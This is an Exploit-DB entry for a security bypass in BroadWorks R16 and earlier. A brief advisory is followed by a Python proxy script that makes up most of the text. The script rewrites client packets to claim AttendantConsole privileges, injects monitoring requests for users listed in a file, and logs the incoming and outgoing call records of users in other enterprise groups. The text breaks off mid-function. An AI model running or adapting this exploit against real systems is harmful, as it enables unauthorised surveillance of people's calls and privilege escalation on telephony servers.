Exploit-DB #34949
Description: BroadWorks - Call Detail Record Security Bypass
Type: remote
Platform: multiple
Date: 2010-11-02
Author: Nick Freeman

Exploit:
source: https://www.securityfocus.com/bid/44597/info

BroadWorks is prone to a security-bypass vulnerability.

An attacker can exploit this issue to bypass certain security restrictions and to obtain sensitive information. Successful exploits will enable the attacker to monitor the incoming and outgoing calls of users in other enterprise groups.

BroadWorks versions R16 and prior are vulnerable.

#!/usr/env/python
# Nick Freeman | vt  [ nick.freeman@security-assessment.com ] May 2k10

# When running the proxy, each request prompts for k, m, i or your input:
#
# K/Enter - forwards the packet
# m 	  - automodifies the packet (see changeme and automod variables)
# i 	  - prompts for a file containing usernames in the 098765@sp.com format
# input	  - sends your raw input (i.e., paste an XML message in there)
#
# When you're auth'd and ready to monitor other users, generate a packet to BroadWorks (address book update for example), select 'i' and specify a file with usernames in it.

import socket, ssl, sys, re, time
from xml.dom import minidom


# define local listening ip, port
lhost = '127.0.0.1'
lport = 1111

# define dest host, port, and domain
dhost = ''
dport = 1111
ddomregex = '@serviceprovider\.com.*' # SP's domain name, only regexd

# define automod
changeme = 'CallClient' # the string to automagically change
tothis = 'AttendantConsole' # what you want it to automagically change to

# define injection params
userUid = '' # userUid of YOUR user (with AttendantConsole privs)
applicationId = 'Client License 4'
monitorpacket = '<?xml version="1.0" encoding="UTF-8" standalone="yes"?><BroadsoftDocument protocol="CAP" version="14.0"><command commandType="monitoringUsersRequest"><commandData><user 
userType="AttendantConsole" userUid="' + userUid + '"><applicationId>'  + applicationId + '</applicationId><monitoring monType="Add"/>QQQQ</user></commandData></command></BroadsoftDocument>'
monUserLine = '<monUser>ZZ</monUser>'

# define logfile
logfile = 'call-logs.txt'

# the listener
ls = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ls.bind((lhost, lport))
print "+ Bound to port " + `lport`
ls.listen(1)
print "+ Listening..\n"

# the sender
ds = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sds = ssl.wrap_socket(ds)

# start listening
lconn, addr = ls.accept()
print '+ Connected by', addr

# connect to remote host
sds.connect((dhost, dport))
print '+ Connected to remote host'

def local_packetgrab():
	ldata = ""
	lconn.settimeout(1)
	try:
		ldata = lconn.recv(2048)
		if len(ldata) < 5:
			return 'nodata'
		# debug
		#print ">>>>>>>>>>>>>>>>>>>>>>>>>>\n"
		#print "Received data from client:\n"
		#print ">>>>>>>>>>>>>>>>>>>>>>>>>>\n"
		#print ldata
		# We have received some data, lets check if its finished or not
		while 1:
		    line = ""
		    try:
			line = lconn.recv(2048)
			# debug
			#print ">>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\n"
			#print "Received more data from client:\n"
			#print ">>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\n"
			#print line
			ldata += line
		    except socket.timeout:
			# debug
			#print "No additional data received."
			break

		    # possibly not necessary
	            if line == "":
        	        break

	except socket.timeout:
		# No data received from client
		return 'nodata'
	
	if len(ldata) > 5:
		print ">>>>>>>>>>>>>>>>>\n"
		print "Data from client:\n"
		print ">>>>>>>>>>>>>>>>>\n"
		print ldata 
		return ldata
	else:
		# No data received from client
		return 'nodata'


def remote_packetgrab():
	ddata = ""
	sds.settimeout(1)
	try:
		ddata = sds.recv(2048)
		# debug
		#print "<<<<<<<<<<<<<<<<<<<<<<<<<<\n"
		#print "Received data from server:\n"
		#print "<<<<<<<<<<<<<<<<<<<<<<<<<<\n"
		#print ddata
		# We have received from data, lets check if its finished or not
		while 1:
			dline = ""
			try:
				dline = sds.recv(2048)
				# debug
				#print "<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<\n"
				#print "Received more data from server:\n"
				#print "<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<\n"
				#print dline
				ddata += dline
			except:
				# debug
				#print "No additional data received.\n"
				break

	except:
		# No data received from server
		return 'nodata'

	if len(ddata) > 5:
		print "<<<<<<<<<<<<<<<<<\n"
		print "Data from server:\n"
		print "<<<<<<<<<<<<<<<<<\n"
		print ddata

		# do CDR grab

		if re.search('callUpdate', ddata):
			logme = open(logfile, 'a')
			# it be a call packet
			xmldoc = minidom.parseString(ddata)
			if re.search('remoteTelUri', ddata):
			   if re.search('\<state\>2', ddata):
				# it be an incoming call
				callTo = xmldoc.getElementsByTagName('monitoredUserId')[0].toxml()
				callTo = re.sub('\<monitoredUserId\>', '', callTo)
				callTo = re.sub(ddomregex, '', callTo)


				callFrom = xmldoc.getElementsByTagName('remoteTelUri')[0].toxml()
				callFrom = re.sub('\<remoteTelUri\>tel\:', '', callFrom)
				callFrom = re.sub('\<\/remote.*', '', callFrom)				
				localtime = time.asctime( time.localtime(time.time()) )
				logstring = "[" + localtime + "]: Incoming call to " + callTo + " from " + callFrom + "!\n"
				logme.write(logstring)
				print logstring
				logme.close()
			else:
			   if re.search('\<state\>2', ddata):
				# it be an outgoing call
				callFrom = xmldoc.getElementsByTagName('monitoredUserId')[0].toxml()
				callFrom = re.sub('\<monitoredUserId\>', '', callFrom)
				callFrom = re.sub(ddomregex, '', callFrom)


				callTo = xmldoc.getElementsByTagName('remoteNumber')[0].toxml()
				callTo = re.sub('\<remoteNumber\>', '', callTo)
				callTo = re.sub('\<\/remote.*', '', callTo)				

				localtime = time.asctime( time.localtime(time.time()) )
				logstring = "[" + localtime + "]: Outgoing call from " + callFrom + " to " + callTo + "!\n"
				logme.write(logstring)
				print logstring
				logme.close()


		return ddata
	else:
		# No data received